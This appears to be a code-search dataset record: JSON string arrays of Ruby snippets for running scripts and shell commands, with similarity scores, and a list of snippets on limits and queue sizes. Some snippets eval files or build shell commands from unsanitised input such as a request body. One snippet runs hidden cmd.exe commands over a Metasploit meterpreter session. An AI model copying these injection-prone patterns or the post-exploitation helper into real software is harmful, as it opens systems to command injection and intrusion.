"def run_script(file=nil)\n\tif file == nil\n\t\tfile = $screen.ask(\"run script file: \",[\"\"],false,true)\n\t\tif (file==nil) || (file==\"\")\n\t\t\t$screen.write_message(\"cancelled\")\n\t\t\treturn\n\t\tend\n\tend\n\tif File.directory?(file)\n\t\tlist = Dir.glob(file+\"/*.rb\")\n\t\tlist.each{|f|\n\t\t\tscript = File.read(f)\n\t\t\teval(script)\n\t\t\tif $screen != nil\n\t\t\t\t$screen.write_message(\"done\")\n\t\t\tend\n\t\t}\n\telsif File.exist?(file)\n\t\tscript = File.read(file)\n\t\teval(script)\n\t\tif $screen != nil\n\t\t\t$screen.write_message(\"done\")\n\t\tend\n\telse\n\t\tputs \"Script file #{file} doesn't exist.\"\n\t\tputs \"Press any key to continue anyway.\"\n\t\tSTDIN.getc\n\tend\nrescue\n\tif $screen != nil\n\t\t$screen.write_message(\"Bad script\")\n\telse\n\t\tputs \"Bad script file: #{file}\"\n\t\tputs \"Press any key to continue anyway.\"\n\t\tSTDIN.getc\n\tend\nend",
"def start_instance()\n system(\"sh wso2wsas-SNAPSHOT/bin/wso2server.sh\")\nend",
"def run_sdf(perl_script)\n ifn = @work_dir + '_2.sdf'\n ofn = @work_dir + '_3.sdf'\n # perl_script = \"../src/esimdock_sdf\"\n cmd = \"perl #{perl_script} -s #{ifn} -o #{ofn} -i MOLID -c\"\n puts \"\\nRunning\\t\\t#{cmd}\\n\"\n stdout_str, stderr_str, status = Open3.capture3(cmd)\n\n if status.success?\n puts \"write to\\t#{ofn}\\n\"\n else\n STDERR.puts \"Error running #{cmd}\\n\"\n exit 1\n end\n end",
"def execute_script(path)\n response = `ruby #{path} #{post_body}`\n if !! ($?.to_s =~ /1$/)\n raise ProcessingError\n else\n response\n end\n end",
"def run_script(script, only_once: false)\n return if only_once && @runs.key?(script)\n\n FileUtils.cp \"#{__dir__}/../../xedit_scripts/Modsvaskr_#{script}.pas\", \"#{@install_path}/Edit Scripts/Modsvaskr_#{script}.pas\"\n run_cmd(\n {\n dir: @install_path,\n exe: 'SSEEdit.exe'\n },\n args: %W[\n -IKnowWhatImDoing\n -AllowMasterFilesEdit\n -SSE\n -autoload\n -script:\"Modsvaskr_#{script}.pas\"\n ]\n )\n @runs[script] = nil\n end",
"def start\n unpack_scripts if File.exist?(DEFLATE_SCRIPT_PATH)\n # Load PSDK Scripts\n if File.exist?(index_filename)\n load_script_from_index\n else\n File.open(SCRIPT_INDEX_PATH, 'w') do |file|\n load_vscode_scripts(VSCODE_SCRIPT_PATH, file)\n end\n end\n # Load RMXP Scripts\n load_rmxp_scripts\n # Load Project Scripts\n load_vscode_scripts(PROJECT_SCRIPT_PATH) if index_filename == SCRIPT_INDEX_PATH\n end",
"def ssh_script!(hostspec, script, arguments: nil)\n CommandRunner.instance.ssh_script! hostspec, script, arguments: arguments\n end",
"def runner(environment, fail_on_error=true)\n # Generate the runner\n template = File.read(\"spec/support/runner.sh.erb\")\n renderer = ERB.new(template, nil, '-')\n output = renderer.result(binding)\n\n write_file('runner.sh', output)\n filesystem_permissions(0755, 'runner.sh')\n FileUtils.cp('run.sh', current_dir)\n\n # Execute the runner\n run_simple \"#{current_dir}/runner.sh\", fail_on_error\nend",
"def provision_winssh(args)\n with_script_file do |path|\n # Upload the script to the machine\n @machine.communicate.tap do |comm|\n env = config.env.map{|k,v| comm.generate_environment_export(k, v)}.join\n upload_path = config.upload_path.to_s\n if File.extname(upload_path).empty?\n remote_ext = @machine.config.winssh.shell == \"powershell\" ? \"ps1\" : \"bat\"\n upload_path << \".#{remote_ext}\"\n end\n if remote_ext == \"ps1\"\n # Copy powershell_args from configuration\n shell_args = config.powershell_args\n # For PowerShell scripts bypass the execution policy unless already specified\n shell_args += \" -ExecutionPolicy Bypass\" if config.powershell_args !~ /[-\\/]ExecutionPolicy/i\n # CLIXML output is kinda useless, especially on non-windows hosts\n shell_args += \" -OutputFormat Text\" if config.powershell_args !~ /[-\\/]OutputFormat/i\n command = \"#{env}\\npowershell #{shell_args} #{upload_path}#{args}\"\n else\n command = \"#{env}\\n#{upload_path}#{args}\"\n end\n\n # Reset upload path permissions for the current ssh user\n info = nil\n retryable(on: Vagrant::Errors::SSHNotReady, tries: 3, sleep: 2) do\n info = @machine.ssh_info\n raise Vagrant::Errors::SSHNotReady if info.nil?\n end\n\n comm.upload(path.to_s, upload_path)\n\n if config.name\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"script: #{config.name}\"))\n elsif config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: path.to_s))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline script\"))\n end\n\n # Execute it with sudo\n comm.execute(\n command,\n sudo: config.privileged,\n error_key: :ssh_bad_exit_status_muted\n ) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end",
"def run_script(content)\n user_switch = \"\"\n\n unless @user == \"root\"\n user_switch = USER_SWITCH_COMMAND\n end\n\n wrapper = <<-EOF\n if [ -e /dev/fd/0 ]\n then\n #{user_switch} /bin/sh /dev/fd/0\n elif [ -e /dev/stdin ]\n then\n #{user_switch} /bin/sh /dev/stdin\n else\n echo \"Cannot find method of communicating with the shell via stdin\"\n exit 1\n fi\n EOF\n\n exec_ssh(wrapper, content)\n end",
"def run\n if not @test then\n @dirs.each do |dir|\n if @local\n `cd #{dir}; ./local-run.sh #{File.basename(@executable)} #{@ranges['name']} #{@ranges['args']}`\n puts \"task run: #{dir}\"\n else\n `cd #{dir}; ./pbs-run.sh #{File.basename(@executable)} #{@ranges['name']} #{@ranges['args']}`\n puts \"task queued: #{dir}\"\n end\n end\n end\n end",
"def exec_script(script_text)\n response = api_post_request('/scriptText', {'script' => script_text}, true)\n response.body\n end",
"def ruby_script(host, command_lines, options = {})\n execute(__method__, host, command_lines, options)\n end",
"def run(path)\n if File.exist? path\n puts(path) ; system(\"ruby \" + path) \n end\nend",
"def script; end",
"def script; end",
"def exec_ps_script_on(hosts, ps_script, &block)\n #Init\n script_path = \"C:/Windows/Temp/beaker_powershell_script_#{Time.now.to_i}.ps1\"\n utf8_ps_script = \"\\xEF\\xBB\\xBF\".force_encoding('UTF-8') + ps_script.force_encoding('UTF-8')\n\n block_on(hosts) do |host|\n #Create remote file with UTF-8 BOM\n create_remote_file(host, script_path, utf8_ps_script)\n\n #Execute PowerShell script on host\n @result = on(host, powershell('', {'File' => script_path}), :accept_all_exit_codes => true)\n\n #Also, let additional checking be performed by the caller.\n if block_given?\n case block.arity\n #block with arity of 0, just hand back yourself\n when 0\n yield self\n #block with arity of 1 or greater, hand back the result object\n else\n yield @result\n end\n end\n @result\n end\n end",
"def run_script name, options=nil, &block\n options ||= {}\n run_script! name, options, &block rescue false\n end",
"def exec loc, script, params = {}\n params.merge! :script => script, :loc => loc\n http :post, \"/exec\", params\n end",
"def run\n if @options['file']\n execute_script @options['file']\n elsif @options['command']\n execute @options['command']\n else\n interactive_shell\n puts \n end\n end",
"def spawn\n\t\t\tputs \"loading ruby script: #{@exec}\"\n\t\t\tdaemonize('load') do |command|\n\t\t\t\tcmd = Shellwords.split(command)\n\t\t\t\tfile = cmd.shift\n\n\t\t\t\t# reset ARGV\n\t\t\t\tObject.instance_eval{ remove_const(:ARGV) }\n\t\t\t\tObject.const_set(:ARGV, cmd)\n\n\t\t\t\t# reset $0\n\t\t\t\t$0 = file\n\n\t\t\t\t# reset $*\n\t\t\t\t$*.replace(cmd)\n\n\t\t\t\tload file\n\n\t\t\t\t# make sure we exit if loaded file won't\n\t\t\t\texit 0\n\t\t\tend\n\t\tend",
"def ssh_script(hostspec, script, arguments: nil, callback: nil)\n CommandRunner.instance.ssh_script hostspec, script, arguments: arguments, callback: callback\n end",
"def run(robot, script)\n\nend",
"def ruby_script(command_lines)\n command = \"#{EMBEDDED_RUBY_PATH} -e \\\"#{command_lines.join(';')}\\\"\"\n run(command)\n end",
"def run(sketch, args)\n ensure_exists(sketch)\n spin_up('run.rb', sketch, args)\n end",
"def run_from_file_command(command)\n if logger.debug?\n debug(\"Creating exec script for #{instance_name} (#{exec_script_file})\")\n debug(\"Executing #{exec_script_file}\")\n end\n File.open(exec_script_file, \"wb\") { |file| file.write(command) }\n %{powershell -file \"#{exec_script_file}\"}\n end",
"def eval script\n # native function. this stub is for documenting only\n end",
"def prepare_stubbed_script\n base = powershell_shell? ? \"bootstrap.ps1\" : \"bootstrap.sh\"\n config[:script] = File.join(sandbox_path, base)\n info(\"#{File.basename(config[:script])} not found \" \\\n \"so Kitchen will run a stubbed script. Is this intended?\")\n File.open(config[:script], \"wb\") do |file|\n if powershell_shell?\n file.write(%{Write-Host \"NO BOOTSTRAP SCRIPT PRESENT`n\"\\n})\n else\n file.write(%{#!/bin/sh\\necho \"NO BOOTSTRAP SCRIPT PRESENT\"\\n})\n end\n end\n end",
"def provision_winrm(args)\n if @machine.guest.capability?(:wait_for_reboot)\n @machine.guest.capability(:wait_for_reboot)\n end\n\n with_script_file do |path|\n @machine.communicate.tap do |comm|\n # Make sure that the upload path has an extension, since\n # having an extension is critical for Windows execution\n upload_path = config.upload_path.to_s\n if File.extname(upload_path) == \"\"\n upload_path += File.extname(path.to_s)\n end\n\n # Upload it\n comm.upload(path.to_s, upload_path)\n\n # Build the environment\n env = config.env.map { |k,v| \"$env:#{k} = #{quote_and_escape(v.to_s)}\" }\n env = env.join(\"; \")\n\n # Calculate the path that we'll be executing\n exec_path = upload_path\n exec_path.gsub!('/', '\\\\')\n exec_path = \"c:#{exec_path}\" if exec_path.start_with?(\"\\\\\")\n\n # Copy powershell_args from configuration\n shell_args = config.powershell_args\n\n # For PowerShell scripts bypass the execution policy unless already specified\n shell_args += \" -ExecutionPolicy Bypass\" if config.powershell_args !~ /[-\\/]ExecutionPolicy/i\n\n # CLIXML output is kinda useless, especially on non-windows hosts\n shell_args += \" -OutputFormat Text\" if config.powershell_args !~ /[-\\/]OutputFormat/i\n\n command = \"\\\"#{exec_path}\\\"#{args}\"\n if File.extname(exec_path).downcase == \".ps1\"\n command = \"powershell #{shell_args.to_s} -file #{command}\"\n else\n command = \"cmd /q /c #{command}\"\n end\n\n # Append the environment\n if !env.empty?\n command = \"#{env}; #{command}\"\n end\n\n if config.name\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"script: #{config.name}\"))\n elsif config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.runningas\",\n local: config.path.to_s, remote: exec_path))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline PowerShell script\"))\n end\n\n # Execute it with sudo\n comm.sudo(command, { elevated: config.privileged, interactive: config.powershell_elevated_interactive }) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end",
"def run(env_vars, extra_vars, playbook_path)\n run_via_cli(env_vars, extra_vars, :playbook_path => playbook_path)\n end",
"def sub_test\n shell(test_script, source_dir)\n end",
"def create_starting_script(sea_dir)\n c_path = Dir.pwd\n c_path.slice!(/test$/)\n run_analysis_path = c_path + \"/helpers/run_analysis.sh\" \n FileUtils.cd(sea_dir)\n `#{run_analysis_path} normal > ./go.sh`\n FileUtils.chmod(0755, \"./go.sh\")\n `sh ./go.sh`\nend",
"def run_ruby_script(command, log_action = true)\n ruby_command = RUBY_PLATFORM=~ /win32/ ? 'ruby ' : ''\n run(\"#{ruby_command}#{command}\", log_action)\n end",
"def run_script(script)\n begin\n instance_eval(script)\n rescue\n @result.add_failure $!\n end\n end",
"def run\n Tapyrus::ScriptInterpreter.eval(Tapyrus::Script.new, self.dup)\n end",
"def run_script\n %[timeout $((PBS_WALLTIME-300)) \"#{script}\"]\n end",
"def deploy\n system %Q[ssh -lroot \"#{server}\" <<'EOF'\n \tcat >\"#{remote_script_name}\" <<'EOS'\n#{generate}EOS\nchmod +x \"#{remote_script_name}\"\nsource \"#{remote_script_name}\"\nEOF\n ]\n end",
"def execute_script(script, *args)\n bridge.execute_script(script, *args)\n end",
"def run(script, *args)\n string_args = args.join(\" \")\n executable = Phantomjs.executable_path\n \n #STDERR.puts \"running with #{executable}\"\n \n if block_given?\n IO.popen(\"#{executable} #{script} #{string_args}\").each_line do |line|\n yield line\n end\n else\n `#{executable} #{script} #{string_args}`\n end\n end",
"def ct_runscript_running(opts)\n pid = lxc_ct(opts[:id]).attach(\n stdin: opts[:stdin],\n stdout: opts[:stdout],\n stderr: opts[:stderr]\n ) do\n setup_exec_env\n LXC.run_command(opts[:script])\n end\n\n _, status = Process.wait2(pid)\n ok(exitstatus: status.exitstatus)\n end",
"def run\n puts \"Hello world\"\n end",
"def show\n @script_contents = \"\"\n if File.exist?(@job.script_path)\n @script_contents = File.open(@job.script_path, 'rb') {|f| f.read}\n end\n end",
"def start_server\n erl = CliRunner.open 'skirmish_server', 'erl', /\\d>/, /Eshell/\n erl << \"code:add_path(\\\"#{server_dir}/ebin\\\").\" >> /true/\n erl << \"application:start(skirmish_server).\" >> /ok/\n @automation_server = erl\n log.info(\"Automation#start_server\") { \"server started\" }\n end",
"def script\n\t\tputs \"You should extend script()\"\n\tend",
"def shell_run\n success = ruby('rubytest', *config.to_shellwords)\n exit -1 unless success\n end",
"def run_ruby_script(command, log_action = true)\r\n ruby_command = RUBY_PLATFORM=~ /win32/ ? 'ruby ' : ''\r\n run(\"#{ruby_command}#{command}\", log_action)\r\n end",
"def execute_file(full_path, args)\n if File.extname(full_path) == '.rb'\n Rex::Script::Shell.new(self, full_path).run(args)\n else\n load_resource(full_path)\n end\n end",
"def run(shell, cmd, &blk)\n run_on_servers(shell, 'sh -l -c', cmd, &blk)\n end",
"def execute\n # Generate the shell script that will run WEACEExecute.\n File.open(\"#{@ProviderEnv[:Shell][:InternalDirectory]}/Test_Broadcast.sh\", 'w') do |oFile|\n oFile << \"\\#!/bin/sh\n#{@ProviderEnv[:WEACEExecuteCmd]} MasterServer --user Scripts_Tester --process Test_Broadcast -- --comment $1\n\"\n end\n\n return nil\n end",
"def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end",
"def run_sketch\n ensure_exists(filename)\n spin_up('run.rb', filename, argc)\n end",
"def load_script(name)\r\n script = File.read(name)\r\n eval script, binding, name\r\nend",
"def view\n\t `ruby #{File.dirname(__FILE__) + \"/viewer/viewer.rb\"}`\n end",
"def script\n @script ||= Script.initialize_from_path(path: \"#{resource_path}/script\",\n client: @client)\n end",
"def execute_script(script, *args); end",
"def luigi\n script_name = shift_argument\n unless script_name\n error(\"Usage: mortar local:luigi SCRIPT\\nMust specify SCRIPT.\")\n end\n validate_arguments!\n\n # cd into the project root\n project_root = options[:project_root] ||= Dir.getwd\n unless File.directory?(project_root)\n error(\"No such directory #{project_root}\")\n end\n Dir.chdir(project_root)\n script = validate_luigiscript!(script_name)\n ctrl = Mortar::Local::Controller.new\n luigi_params = pig_parameters.sort_by { |p| p['name'] }\n luigi_params = luigi_params.map { |arg| [\"--#{arg['name']}\", \"#{arg['value']}\"] }.flatten\n ctrl.run_luigi(script, luigi_params)\n end",
"def run(cmd)\n #logger.trace \"executing locally: #{cmd.inspect}\" if logger\n run_locally cmd\n # puts `#{cmd}`\nend",
"def run_init_script(out = handler.interface)\n cwd_script_file = File.expand_path(File.join(\".\", INITFILE))\n run_script(cwd_script_file, out) if File.exists?(cwd_script_file)\n\n home_script_file = File.expand_path(File.join(HOME_DIR, INITFILE))\n run_script(home_script_file, out) if File.exists?(home_script_file) and \n cwd_script_file != home_script_file\n end",
"def run_init_script(out = handler.interface)\n cwd_script_file = File.expand_path(File.join(\".\", INITFILE))\n run_script(cwd_script_file, out) if File.exists?(cwd_script_file)\n\n home_script_file = File.expand_path(File.join(HOME_DIR, INITFILE))\n run_script(home_script_file, out) if File.exists?(home_script_file) and \n cwd_script_file != home_script_file\n end",
"def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end",
"def script name, app_names\n each_app(*app_names) do |server_app|\n server_app.run_script name\n end\n end",
"def load_script(path)\n eval(load_data(path))\nend",
"def provision_ssh(args)\n env = config.env.map { |k,v| \"#{k}=#{quote_and_escape(v.to_s)}\" }\n env = env.join(\" \")\n\n command = \"chmod +x '#{config.upload_path}'\"\n command << \" &&\"\n command << \" #{env}\" if !env.empty?\n command << \" #{config.upload_path}#{args}\"\n\n with_script_file do |path|\n # Upload the script to the machine\n @machine.communicate.tap do |comm|\n # Reset upload path permissions for the current ssh user\n info = nil\n retryable(on: Vagrant::Errors::SSHNotReady, tries: 3, sleep: 2) do\n info = @machine.ssh_info\n raise Vagrant::Errors::SSHNotReady if info.nil?\n end\n\n user = info[:username]\n comm.sudo(\"chown -R #{user} #{config.upload_path}\",\n error_check: false)\n\n comm.upload(path.to_s, config.upload_path)\n\n if config.name\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"script: #{config.name}\"))\n elsif config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: path.to_s))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline script\"))\n end\n\n # Execute it with sudo\n comm.execute(\n command,\n sudo: config.privileged,\n error_key: :ssh_bad_exit_status_muted\n ) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end",
"def script(segment_name, variables={})\n path = File.expand_path(\"../#{stage_name}/#{segment_name}\", __FILE__)\n if File.exist?(path)\n script = File.read(path)\n if variables.keys.size > 0\n # inject variables into script if its bash script\n inline_variables = \"#!/usr/bin/env bash\\n\\n\"\n variables.each { |name, value| inline_variables << \"#{name}='#{value}'\\n\" }\n script.gsub!(\"#!/usr/bin/env bash\", inline_variables)\n\n # inject variables into script if its ruby script\n inline_variables = \"#!/usr/bin/env ruby\\n\\n\"\n variables.each { |name, value| inline_variables << \"ENV['#{name}'] = '#{value}'\\n\" }\n script.gsub!(\"#!/usr/bin/env ruby\", inline_variables)\n end\n script\n else\n Thor::Base.shell.new.say_status \"error\", \"Missing script lib/bosh-bootstrap/stages/#{stage_name}/#{segment_name}\", :red\n exit 1\n end\n end",
"def initialize(script)\n raise \"Chef::PowerShell can only be used on the Windows platform.\" unless RUBY_PLATFORM =~ /mswin|mingw32|windows/\n exec(script)\n end"
] |
[
"0.6735011",
"0.6436718",
"0.6137456",
"0.6071061",
"0.6032136",
"0.5994519",
"0.59745455",
"0.5949975",
"0.5941233",
"0.5881938",
"0.57871234",
"0.5774158",
"0.57672775",
"0.5710012",
"0.56687105",
"0.56373",
"0.5619653",
"0.56104535",
"0.56058675",
"0.5574116",
"0.55630565",
"0.5544143",
"0.55421937",
"0.55413055",
"0.5509981",
"0.5506916",
"0.5482592",
"0.54749274",
"0.5474605",
"0.546964",
"0.5438657",
"0.542676",
"0.5418397",
"0.5416222",
"0.5414987",
"0.5414805",
"0.53575206",
"0.53449696",
"0.5344264",
"0.5339632",
"0.533178",
"0.5321981",
"0.5319513",
"0.53120506",
"0.52968794",
"0.52909094",
"0.5286526",
"0.5279731",
"0.526103",
"0.52514446",
"0.52514446",
"0.52398384",
"0.52363",
"0.5225366",
"0.5205873",
"0.51940906",
"0.51764554",
"0.51591",
"0.5132537",
"0.5132317",
"0.51287633",
"0.5125079",
"0.5124751",
"0.51220185",
"0.5121582",
"0.5119234",
"0.51120555",
"0.5111491",
"0.51046264",
"0.5101119",
"0.51009554",
"0.50999075",
"0.50920784",
"0.5088003",
"0.50716615",
"0.50649774",
"0.5064796",
"0.5039463",
"0.50383043",
"0.50358105",
"0.50298464",
"0.5026548",
"0.5021698",
"0.50185865",
"0.5011708",
"0.5011708",
"0.5006669",
"0.5001625",
"0.49993694",
"0.49992287",
"0.4990196",
"0.49901935",
"0.49839255",
"0.49839255",
"0.4979516",
"0.49770436",
"0.49760982",
"0.4975754",
"0.4955699",
"0.49550575"
] |
0.59956574
|
5
|
Determines the safe maximum number of commands that can be executed on a remote shell session by interrogating the remote host.
|
def determine_max_commands
os_version = run_powershell_script(PS1_OS_VERSION).stdout.chomp
@max_commands = os_version < "6.2" ? LEGACY_LIMIT : MODERN_LIMIT
@max_commands -= 2 # to be safe
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def max_command_length; end",
"def remote_maximum_packet_size; end",
"def _unix_max_line_length\n # Based on autoconf's arg_max calculator, see\n # http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html\n calc_line_max = 'i=0 max= new= str=abcd; \\\n while (test \"X\"`echo \"X$str\" 2>/dev/null` = \"XX$str\") >/dev/null 2>&1 && \\\n new=`expr \"X$str\" : \".*\" 2>&1` && \\\n test \"$i\" != 17 && \\\n max=$new; do \\\n i=`expr $i + 1`; str=$str$str;\\\n done; echo $max'\n line_max = session.shell_command_token(calc_line_max).to_i\n\n # Fall back to a conservative 4k which should work on even the most\n # restrictive of embedded shells.\n line_max = (line_max == 0 ? 4096 : line_max)\n vprint_status(\"Max line length is #{line_max}\")\n\n line_max\n end",
"def max_length\n @executor.getMaximumPoolSize\n end",
"def largest_length\n @executor.getLargestPoolSize\n end",
"def check_cmd remote_port\n \"ssh #{user_at_host} -p #{@port} \\\"netstat -ano | grep :#{remote_port} | wc -l\\\"\"\n end",
"def number_of_remote_servers\n connection.servers.inject(0) do |sum, s|\n sum += 1 if server_is_proxy_type?(s) \n sum\n end\n end",
"def ulimit_check\n @servers.each do |server|\n result = server.spot_check_command(\"su - mysql -s /bin/bash -c \\\"ulimit -n\\\"\")\n raise \"FATAL: ulimit wasn't set correctly\" unless result[:output].to_i >= 1024\n end\n end",
"def length\n (@client.redis.multi do\n %w[ locks work scheduled depends ].each do |suffix|\n @client.redis.zcard(\"ql:q:#{@name}-#{suffix}\")\n end\n end).inject(0, :+)\n end",
"def hosts_count\r\n return @hosts.length\r\n end",
"def max_sql_bytesize\n @max_sql_bytesize ||= begin\n case (row = connection.query(\"SHOW VARIABLES LIKE 'max_allowed_packet'\").first)\n when Array\n row[1]\n when Hash\n row['Value']\n else\n raise \"Don't know what to do if connection.query returns a #{row.class}\"\n end.to_i\n end\n end",
"def remote_maximum_window_size; end",
"def check_auth_count\n if @commands.length == @commands_len\n @auth_count += 1\n else\n @auth_count = 0\n @commands_len = @commands.length\n end\n return unless @auth_count > MAX_AUTH_COUNT\n @logger.error \"Close: Too many auth retries (#{@auth_count} times)\"\n @commands = []\n close_session\n end",
"def maxkeys\n @maxkeys ||= File.read('/proc/sys/kernel/keys/maxkeys').strip.to_i\n end",
"def length\n @executor.getPoolSize\n end",
"def queue_length\n @executor.getQueue.size\n end",
"def ssh_key_count\n if !vm.os_profile.linux_configuration.nil? && !vm.os_profile.linux_configuration.ssh.nil?\n vm.os_profile.linux_configuration.ssh.public_keys.length\n else\n 0\n end\n end",
"def erlang_process_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.proc_used<.proc_total*.8'`\n end",
"def get_max_system_token_count\n max = []\n get_pool_names.each do |pool_name|\n\tmax.push( self.pools[pool_name].max_counted_token[0] )\n end\n max = max.sort {|a,b| b[1] <=> a[1]}\n #puts max.inspect\n return max[0] \n end",
"def max_size()\n AUTHENTICATION_CONTINUE_MAX_SIZE\n end",
"def local_maximum_packet_size; end",
"def find_max_descriptors(max_descripors)\n i = max_descripors\n max_size = 1024\n while i != max_size && i > 1024\n max_size = EM.set_descriptor_table_size i\n i /= 2 if max_size < i\n end\n max_size\nend",
"def size()\n return(@hostmask + 1)\n end",
"def custom_command_content_max_length\n limits_yaml = YAML.load_data!(\"#{ECON_DATA_PATH}/limits.yml\")\n return limits_yaml['custom_command_content_max_length']\n end",
"def max_size()\n AUTHENTICATION_REPLY_MAX_SIZE\n end",
"def throttle_commands argv\n if THROTTLED_COMMANDS.include?(argv[0]) && argv[2].to_i > THROTTLE_MAX_OFFSET\n raise ThrottledCommand, \"This would result in a too big value. try.redis is only for testing so keep it small.\"\n end\n\n nil\n end",
"def max_size()\n ACCOUNTING_REPLY_MAX_SIZE\n end",
"def max_action_length\n @max_action_length ||= actions.inject(0){|memo, a| [memo, a.to_s.length].max}\n end",
"def max_action_length\n @max_action_length ||= actions.inject(0){|memo, a| [memo, a.to_s.length].max}\n end",
"def maximum_size\n @ids.size\n end",
"def socket_descriptors_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.sockets_used<.sockets_total*.8'`\n end",
"def max_action_length\n @max_action_length ||= actions.inject(0){|memo, a| [memo, a.to_s.length].max}\n end",
"def max_queue_count()\n @max_queue_count\n end",
"def remote_size\n @remote_size ||= request_object_size\n end",
"def hasMoreCommands()\n return @counter + 1 < @commands.length\n\tend",
"def hasMoreCommands()\n return @counter + 1 < @commands.length\n\tend",
"def length\n @redis.llen @redis_name\n end",
"def remote_size\n return @remote_size if defined?(@remote_size)\n @remote_size = http_head['Content-Length'].to_i\n end",
"def max_packets; end",
"def server_sizelimit\n @connection.opt[:sizelimit]\n end",
"def count()\n\n puts 'inside count'.info if @debug\n\n cmd 'CPMS?' do |r|\n puts 'r: ' + r.inspect if @debug\n total = r.lines[2].split(',')[1].to_i\n puts ('message count: ' + total.to_s).debug if @debug\n\n total\n end\n \n end",
"def check_queue_size_incoming\n `#{config[:path]} | /bin/egrep -c '^[0-9A-F]+ +'`.to_i - check_queue_size_deferred\n end",
"def max_hops; end",
"def file_size(remote_filename)\n rpath = File.join(self.remote_storage_dir, remote_filename)\n rfile = File.basename(rpath)\n rdir = File.dirname(rpath)\n\n Timeout::timeout(@@ftp_timeout) { entries = ftp.ls(rdir) }\n correct = entries.detect{ |entry| entry =~ /#{rfile}/ }\n\n Integer(correct.split[4])\n\n rescue Net::FTPPermError => nftpe\n nil\n end",
"def get_max_interactions\n return @snps.length-1\n end",
"def terminal_size; end",
"def terminal_size; end",
"def stack_size\n Ruby.primitive :task_stack_size\n Kernel.raise PrimitiveFailure, \"primitive failed\"\n end",
"def check_queue_size_deferred\n `#{config[:path]} | /bin/grep -c '^ *(.*)$'`.to_i\n end",
"def size\n Stal.solve(redis, [\"SCARD\", key])\n end",
"def server_result_limit\n self.parameters[:result_limit]\n end",
"def output_rows\n return 24 unless @output.tty?\n terminal.terminal_size.last\n rescue NoMethodError\n return 24\n end",
"def file_descriptors_allocation_exceeded(host_name)\n `curl -s -i -L \\\n -u #{Conn[:creds]} \\\n -H 'content-type:application/json' \\\n #{[Conn[:host_api], 'nodes', host_name].join('/')} | jq '.fd_used<.fd_total*.8'`\n end",
"def list_exec(session, cmdlst) #session is our meter sessions, cmdlst is our array of commands to run on target\n\tr=''\n\tsession.response_timeout=120\n\tcmdlst.each do |cmd|\n\t\tbegin\n\t\t\tprint_status(\"Executing: #{cmd}\")\n\t\t\tr = session.sys.process.execute(\"cmd.exe /c #{cmd}\", nil, {'Hidden' => true, 'Channelized' => true})\n\t\t\twhile(d = r.channel.read)\n\t\t\t\tbreak if d == \"\"\n\t\t\tend\n\t\t\tr.channel.close\n\t\t\tr.close\n\t\trescue ::Exception => e\n\t\t\tprint_error(\"Error Running Command #{cmd}: #{e.class} #{e}\")\n\t\tend\n\tend\nend",
"def vp_count(locked=false)\n if locked\n return @vp_lock.synchronize{@hostname2vp.length}\n else\n return @hostname2vp.length\n end\n end",
"def check_queue_size_hold\n `#{config[:path]} | /bin/egrep -c '^[0-9A-F]+!'`.to_i\n end",
"def max_history\n @agent.history.max_size\n end",
"def are_too_many_instances_running?\n nodes(:status => \"running\").size > maximum_instances.to_i\n end",
"def test_rlimit\n unless RUBY_PLATFORM =~ /java/ or EM.set_descriptor_table_size >= 1024\n a = EM.set_descriptor_table_size\n assert( a <= 1024 )\n a = EM.set_descriptor_table_size( 1024 )\n assert( a == 1024 )\n end\n end",
"def maximum_number_of_instances_are_running?\n list_of_running_instances.size >= maximum_instances.to_i\n end",
"def connection_pool_maximum_size\n super\n end",
"def maxjobs\n runopts(:maxjobs)\n end",
"def vms_in_host?(host_id)\n\n host = OpenNebula::Host.new_with_id(host_id,get_one_client)\n\n rc = host.info\n\n if OpenNebula::is_error?(rc)\n puts rc.message\n exit -1\n end\n \n host['host_share/running_vms'].to_i\n\nend",
"def z_queue_size(queue)\n handle_pipeline(@redis.zcount(redis_key_for_queue(queue), 0, Float::INFINITY), &:to_i)\n end",
"def max_count\n multiple? ? (@schema['max_count'] || :unlimited) : nil\n end",
"def check_queue_size_active\n `#{config[:path]} | /bin/egrep -c '^[0-9A-F]+\\\\*'`.to_i\n end",
"def connection_count\n @@_telnet_connection_count\n end",
"def doGetMaxCountPerRequest()\n end",
"def max_failed_count\n MAX_FAILED_COUNT\n end",
"def tcp_count\n host_stats[:tcp].to_i\n end",
"def unsynchronized_size\n @available_connections.length + @checked_out_connections.length + @pending_connections.length\n end",
"def max_packet_size(endpoint_number); end",
"def max_size()\n AUTHENTICATION_START_MAX_SIZE\n end",
"def known_ip_count\n @mutex.synchronize do\n @connections.size\n end\n end",
"def waitlist_size\n @queue.size\n end",
"def maxbytes\n @maxbytes ||= File.read('/proc/sys/kernel/keys/maxbytes').strip.to_i\n end",
"def length\n mutex.synchronize { running? ? @pool.length : 0 }\n end",
"def remote_window_size; end",
